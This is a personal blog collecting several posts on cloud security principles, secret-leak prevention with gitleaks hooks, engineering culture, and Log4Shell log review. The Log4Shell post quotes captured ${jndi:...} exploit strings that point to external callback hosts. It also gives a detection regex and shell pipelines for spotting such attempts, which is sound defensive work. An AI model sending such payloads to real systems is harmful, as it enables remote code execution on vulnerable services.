2023-01-02

Practical cloud security overview

IT industry has been undergoing seismic shifts regularly. The latest one goes by the name cloud computing. However, the security goals, principles and areas don’t change with the adaption of a new paradigm. Terminology, methods and tools change, though.

Why we need security and what are its goals

The art of war teaches us to rely not on the likelihood of the enemy’s not coming, but on our own readiness to receive him; not on the chance of his not attacking, but rather on the fact that we have made our position unassailable. – Sun TzÅ­: The Art of War

The need for security stems from the fact that people, for various reasons, make suboptimal decisions and mistakes - in design, implementation, configuration, operations - creating vulnerabilities in systems. And, some other people (threat actors or groups) try to exploit these vulnerabilities for various reasons. Since it’s impossible to prevent all the vulnerabilities in complex systems, you can’t achieve perfect security. What is your north star, then?

Information security, or cybersecurity, is a never ending systematic effort to control security risks. A risk is the possibility of something bad happening. And threat is a path to the risk occurring. In case you don’t know about your risks and threats or you don’t manage the risks, you can run into troubles. Your data can be stolen or encrypted for ransom. Your infrastructure or applications can be shut down, misused for crypto-mining or launching attacks against other targets. Your customers or employees can get scammed. All these lead to operational problems (you have to handle security incidents instead of normal business), reputation and financial losses (you lose customers and/or get fined). Obviously, you want to avoid this at least to a certain degree.

More formally, CIA triad represents the traditional (since 1977) security goals: “The protection of system data and resources from accidental and deliberate threats to confidentiality, integrity, and availability.”

  • confidentiality: no unauthorized access to data or resources
  • integrity: no unauthorized changes to data or resources
  • availability: data and resources available when needed

Security principles and areas

Ok, so how do we manage the security risks and protect against threats? First, there are some principles everybody should keep in mind and apply whenever possible:

  • simplicity - the worst enemy of security is complexity, it makes attacks easier and defense harder
  • minimal attack surface - minimize possible ways a system can be attacked
  • least privilege - deny by default to limit the blast radius of a compromise
  • segmentation - create boundaries between systems to limit the blast radius of a compromise
  • defense in depth - since any security control can fail have multiple overlapping layers of controls

Second, you have to care about many things because the weakest link in the chain of interconnected systems can get exploited. Not to get overwhelmed one might create some abstractions in the form of distinct areas to cover.

Governance and risk management

If you know the enemy and know yourself, you need not fear the result of a hundred battles. – Sun TzÅ­: The Art of War

You should get at least a rough understanding of your organization’s business and products. Find out your responsibility boundaries and what data and compute/storage/network resources you need to protect. This depends on the service model you use or provide (IaaS, PaaS or SaaS). Get some idea who is most likely to cause problems and how.

Risk level is the likelihood of a risk times its impact. You can approach each risk in one of these ways:

  • avoid it - don’t build the system in the first place or turn it off if benefits are lower than risks
  • transfer it - pay someone else to manage the risk (e.g. SaaS, insurance)
  • mitigate it - apply some security measures (controls)
  • accept it - if benefits are higher than risks (this should be conscious)

You might need to prove your security to a 3rd party; this is called compliance.

Identity and access management

If an attacker gets credentials all patches and firewalls won’t help. Manage user and program identities (authn) and access rights (authz) in as few places as possible. Have process of removing users that left the company. Make sure that strong passwords and MFA are used. Use a password manager (1password) and don’t commit unencrypted passwords or API keys to repositories (gitleaks). Access rights (roles, policies) should follow the least privilege principle.

Vulnerability management

Detect and remediate security bugs and misconfigurations in application (SonarQube, ZaP, trivy) and infrastructure (tfsec) code, systems and networks (Nexpose). Before (SAST, SCA) and after (DAST) deployment. Important point to emphasize here is to make sure that the vulnerabilities found by the scanners are also remediated not only reported. So detect them as soon as possible in the process of developing and deploying code and infrastructure. First handle only the critical ones. Code reviews and penetration testing is helpful but expensive. Regularly upgrade (patch) your systems and dependencies.

Security monitoring

You want to know what’s going on and then do something about. Detect threats and security incidents, and respond to them. You do this by first collecting and parsing logs and metrics in a central place (Splunk, Graylog, Datadog). Then you create alerts (a log/metric queries with a threshold) and handle them when they get triggered. Find a good balance between too many and too few alerts. Prefer simplicity and quality over cleverness and quantity to avoid alert fatigue.

Network security

If you can’t talk to a component, you can’t compromise it. Use network policies, ACLs, VPNs, WAFs, antiDDoS, IDS/IPS when it makes sense. Try to create trust boundaries. Anything inside a trust (or security) boundary can trust, at least to some level, anything else inside that boundary but requires verification before trusting anything outside that boundary. Also (almost always) encrypt data in motion using TLS.

2022-10-22

The anomaly of cheap complexity

(This is my summary of Andrew Appel’s sunmmary of Thomas Dullien’s talk.)

How does one design an electric motor? Would you attach a bathtub to it, simply because one was available? Would a bouquet of flowers help? A heap of rocks? No, you would use just those elements necessary to its purpose and make it no larger than needed – and you would incorporate safety factors. Function controls design.

– Prof. Bernardo de la Paz in The Moon Is A Harsh Mistress (Robert A. Heinlein)

Why are computer systems so insecure?

The reason is that they have so many complex layers. Why there are so many layers? And why those layers are so complex (even for what should be a simple thing like counting up votes)?

It’s because complexity is cheap. For most of human history, a more complex device was more expensive to build than a simpler device. This is not the case in modern computing. It is often more cost-effective to take a very complicated device, and make it simulate simplicity, than to make a simpler one. The same is true of sofware.

Suppose you need a machine that does something not that complex, like a fridge. Complex general-purpose CPUs are cheap because of economies of scale and Moore’s law (ARM Cortex-M0 CPUs cost pennies). Software specializes a CPU that could do anything (universal computation) to become a device that does something.

Similarly a (huge and complex) general-purpose operating system is free, but a simpler, custom-designed, perhaps more secure OS would be very expensive to build.

2022-09-10

Preventing git leaks

I keep most of my code and prose on GitHub in public repos. I do it because I get reliable storage for free that I can access from any computer. And it might be helpful to others. Also it engages my hubris :-). It’s working nicely but sometimes I get a bad feeling when I push stuff. I’m worried that I might leak some sensitive information like passwords, API keys or tokens. The obvious solution is to think twice before committing and pushing data.

New commits

But there are also some helpful tools, like gitleaks. It basically finds and reports secrets in the files you are about to commit. I want to run it whenever I commit something in any of my repos. These are the steps to make that happen:

  1. Install gitleaks.
  2. Add this to your ~/.gitconfig:
[core]
    hooksPath = ~/.git-global-hooks
  1. Create ~/.git-global-hooks/pre-commit:
#!/bin/bash
# Detect secrets in a git repos using https://github.com/zricethezav/gitleaks

if [[ $SKIP == "gitleaks" ]]; then
    echo "skipping gitleaks checks ..."
    exit 0
fi

set -xe

# Check uncommitted changes (parsing output of 'git diff') that had been 'git add'ed.
gitleaks protect --no-banner --staged

Existing commits

The steps above will prevent you from committing secrets from now on. But you should also check existing commits because you might have committed a secret in the past. You can either do it on each commit by adding these lines to ~/.git-global-hooks/pre-commit:

# Check existing commits (parsing output of 'git log -p').
gitleaks detect --no-banner

But on bigger repos this might take several seconds every time you commit. To avoid this you can check all your historical commits in all your repos once. I used gh and runp to do it:

export GHORG=jreisinger # CHANGE ME
mkdir /tmp/$GHORG && cd /tmp/$GHORG
# clone all my (1000) repos in parallel
gh repo list $GHORG --source --limit 1000 | cut -f 1 | runp -p 'gh repo clone'
# check existing commits in all repos in parallel
ls | runp -p 'gitleaks detect --no-banner -s'

If runp exits with 0, all is good. Otherwise scroll up to review the output. To check a repo for committed leaks:

cd $REPO && gitleaks detect --no-banner -v

After you are done, you might want to remove the temporary repos:

rm -rf /tmp/$GHORG

2022-06-30

Let's have just fun

Some engineers, both junior and senior, have random approach to work as opposed to a systematic one. By random (or freestyle) approach I mean:

  • generating quick ideas without followup
  • kidnapping discussions with unrelated digressions
  • presenting ideas without putting an effort into thinking them over
  • making decisions without discussion
  • organizing useless meetings
  • hacking code without designing it
  • not using drawings when explaining concepts or designs
  • not tracking issues/tickets/projects
  • not documenting

By systematic (or disciplined) approach I mean the opposite.

Balance

I get that the random approach is easier (and more fun?) and that it tends to produce new ideas. But if you use it too much it will create unnecessary chaos and technical debt after some time. In other words it will increase technical and organizational (when embraced by managers) complexity without adding value. So you need some balance between freestyle and disciplined approach. To evaluate the balance look for the signs.

The signs of unhealthy level of technical complexity in software systems:

  • hard to use
  • unclear API and documentation
  • unclear design
  • difficult to find bugs
  • difficult to add new features
  • difficult to take over (or hand over)
  • operational problems and outages

The signs of unhealthy level of organizational complexity are:

  • meetings without agenda, conclusions and followup
  • people don’t show interest in the meetings
  • the same problems being discussed again and again
  • difficulty to schedule meetings, too many meetings
  • bureaucracy and rules that make no sense
  • non-existent or unclear team/company strategy and goals
  • non-existent or toxic team/company culture

(You can have unnecessary complexity also on personal level but I won’t discuss this here and now.)

Simplicity

I suspect that the main reason causing this problem is underestimating the importance of simplicity.

Simplicity is actually hard. To keep things simple you have to think about them, write your ideas down and review them several times. Consider what is the goal, what resources you have, what are the pros and cons of various ways to achieve the goal. You also have to discuss your ideas and listen to other people’s ideas. Once you have somehow clear ideas you have to communicate them well. Then you have to implement them (e.g. writing some code) and organize in accordance with them (via meetings, documentation, code structure). You have to be able to resist various pressures and temptations (you must be able to say NO to most things). And you have to do all this again and again. This requires time, energy, skill, motivation, patience and persistence. On the other hand it brings satisfaction.

In case your current team/company doesn’t want or is not able to do this (and you want or are) there are three options for you:

  • accept it and consider it a party instead of chaos :-)
  • get into a (management) position from which you can influence things
  • get into a company (which seems to be) heading in the right direction

The first option is the easiest one but not necessarily the right one. Of course you can and should always strive for simplicity on individual level. But you only have a certain amount of time, energy and patience.

2022-05-19

My infosec career evaluation

I read Daniel Miessler’s article and liked it. So I tried to evaluate myself against it.

  • ✅ come from one of these backgrounds
    • system administration 👈
    • networking
    • development
  • ✅ have a good foundation in all these and a decent strength in one
    • system administration (Linux, LDAP, hardening, …)
    • networking (TCP/IP, switching, routing, protocols, …)
    • programming (concepts, scripting, OOP basics) 👈
  • ✅ have some relevant certifications (CCNA, CISSP, LPIC-2, CCENT, CKAD)
  • nurture your programming skills; you can build websites, tools, PoCs, …
  • ✅ stay up to date (twitter, email digests, …)
  • ✅ have a lab (AWS + home server)
  • ✅ be always working on (GitHub) projects
  • ✅ make contributions (on GitHub)
  • 🚫 practice with bug bounties (BugCrowd, HackerOne)
  • ✅ have a presence (web site, blog, Twitter)
  • ✅ network with others (interact on Twitter, go to conferences, …)
  • 🚫 respond to Call for Papers (CFP)
  • ✅ professionalism
    • dependability
    • speak concisely
    • tighten up you writing
    • learn to present
  • ✅ understand the business
  • ✅ have a passion
  • ✅ you’re in your 30’s, 40’s, or 50’s, and things are looking good :-)
  • 🤏 financial knowledge
  • ✅ management experience (managing people not only projects)
  • 🤏 extensive network (know a good percentage of the major players in infosec and business)
  • 🤏 dress/etiquette :-)
  • ✅ advanced education
  • 🚫 media savvy (trained to speak with the media about various topics)
  • 🤏 tech/business hybrid (be able to speak and work with devs and managers)
  • 🤏 creativity (able not only execute what you’re given but come up with new ideas and approaches to problems on a regular cadence)

Some of the above attributes are applicable only to certain career phases (junior, senior, team lead). Others are universal.

2021-12-23

log4shell

During this year’s Advent the Log4Shell vulnerability was discovered. It’s a vulnerability with high impact. This is because of three factors. It allows an attacker to run arbitrary code (downloaded from LDAP servers) on the victim’s system. Log4j is a logging library used by lots of programs. It’s easy to exploit. The way to fix this vulnerability is upgrade the log4j library to the latest version.

To find out if someone is trying to exploit this vulnerability in your system you can review your logs. For example:

$ sudo journalctl --since 2021-12-09 | \
grep -iE '\$\{jndi:'
Dec 12 05:34:35 cloud waf[638]: 165.22.201.45 - - [12/Dec/2021:05:34:35 +0000] "GET / HTTP/1.1" 444 0 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
Dec 13 00:51:28 cloud waf[638]: 157.245.108.40 - - [13/Dec/2021:00:51:28 +0000] "GET / HTTP/1.1" 444 0 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"
Dec 13 05:01:39 cloud waf[638]: 45.83.64.19 - - [13/Dec/2021:05:01:39 +0000] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 444 0 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"

These are logs from NGINX web server. There is no Java running on this system but the Internet is being scanned en masse. The web server is returning 444 because it’s configured like this:

# Just close connection if the server is accessed via IP address or via the
# wrong hostname. _ is just an invalid value which will never trigger on a real
# hostname.
server {
    listen 443 default_server;
    server_name _;
    return 444;
}

More sophisticated exploits and evasion techniques are being discovered. So instead of the simple \$\{jndi: regex you can use this monster. It’s handy to store it in an environment variable:

L4S_REGEX='(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))'

Now, the command searching the logs for signs of exploit looks like this:

sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" 

If you are curious who is making these requests you can pull out the IP addresses from the logs, for example:

$ sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" | \
perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | sort | uniq
157.245.108.40
165.22.201.45
45.83.64.19

To discover information about the IP addresses you might find checkip useful:

$ for ip in $(sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" | \
perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | sort | uniq)
do
echo "---[$ip]---"; checkip $ip 2> /dev/null
done
---[157.245.108.40]---
abuseipdb.com   domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit
iptoasn.com     AS description: DIGITALOCEAN-ASN - DigitalOcean, LLC
maxmind.com     city: Bengaluru, country: India (IN)
ping            0% packet loss, sent 5, recv 5, avg round-trip 141 ms
shodan.io       OS: n/a, 1 open port: tcp/4646
urlscan.io      0 related URLs
virustotal.com  network: 157.245.0.0/16, SAN: knrao.in, cpanel.knrao.in, cpcalendars.knrao.in, cpcontacts.knrao.in, mail.knrao.in, webdisk.knrao.in, webmail.knrao.in, www.knrao.in
Malicious       38% 🤏
---[165.22.201.45]---
abuseipdb.com   domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit
iptoasn.com     AS description: DIGITALOCEAN-ASN - DigitalOcean, LLC
maxmind.com     city: Amsterdam, country: Netherlands (NL)
ping            0% packet loss, sent 5, recv 5, avg round-trip 16 ms
shodan.io       OS: Ubuntu, 4 open ports: tcp/22 (OpenSSH, 8.2p1 Ubuntu-4ubuntu0.2), tcp/80 (Apache httpd, 2.4.51), tcp/443 (Apache httpd, 2.4.7), tcp/465 (Exim smtpd, 4.94.2)
urlscan.io      0 related URLs
virustotal.com  network: 165.22.0.0/16, SAN: *.adleon2jnbvsh.com, adleon2jnbvsh.com
Malicious       38% 🤏
---[45.83.64.49]---
abuseipdb.com   domain: n/a, usage type: n/a
iptoasn.com     AS description: ALPHASTRIKE-RESEARCH
maxmind.com     city: n/a, country: Germany (DE)
ping            0% packet loss, sent 5, recv 5, avg round-trip 16 ms
shodan.io       OS: n/a, 1 open port: tcp/179
urlscan.io      0 related URLs
virustotal.com  network: 45.83.64.0/22, SAN: n/a
Malicious       50% 🚫

2021-10-15

Life cycle of a silver bullet

I’ve watched SRECon discussion about DevOps. They mentioned a paper from Sarah A. Sheard called “Life Cycle of a Silver Bullet”. Written in 2003. I googled it and read it and I was enlightened. (While writing this, I’ve been served tea by a robot for the first time in my life!). The paper contains several ideas I had and several observations I made while being part of an attempt to introduce something like DevOps within a company.

Sheard claims that “improvement initiatives” can and do work, but it very much depends on how they are implemented. In this post I’ll try to extract from the paper the positive and negative signals you can observe when trying to implement an improvement initiative, like DevOps or Agile.

Positive signals

Someone with power to make changes (like an executive or a manager) takes a close look how his company is working to determine problems. He also looks at company’s strengths.

You can see there is real focus and dedication (of time and money) to implement the identified improvements.

The problems are truly solved, not just glossed over.

A climate of openess without retribution is fostered, and senior managers listen to messages from all levels of the company.

Products start to be created more efficiently and with better quality.

Negative signals

Managers read only short summary articles about the improvement method.

The implementing managers ask workers to implement some specific improvements (read in the blogs) without costly discussion or modification.

Some specific improvements are ruled out with reasoning that they would be costly to implement.

Executives and managers don’t really listen to workers nor change their own way of working. What they state as improvement in communication is really only about downward communication.

Lack of executive involvement. Managers don’t involve executives because the superiors might feel threatened or embarrassed.

Dilution of emphasis.

Tendency to apply the steps as a checklist rather than to seek and fix the company’s basic business problems.

Workers feel bombarded by misuderstood management initiatives that don’t solve any real problems.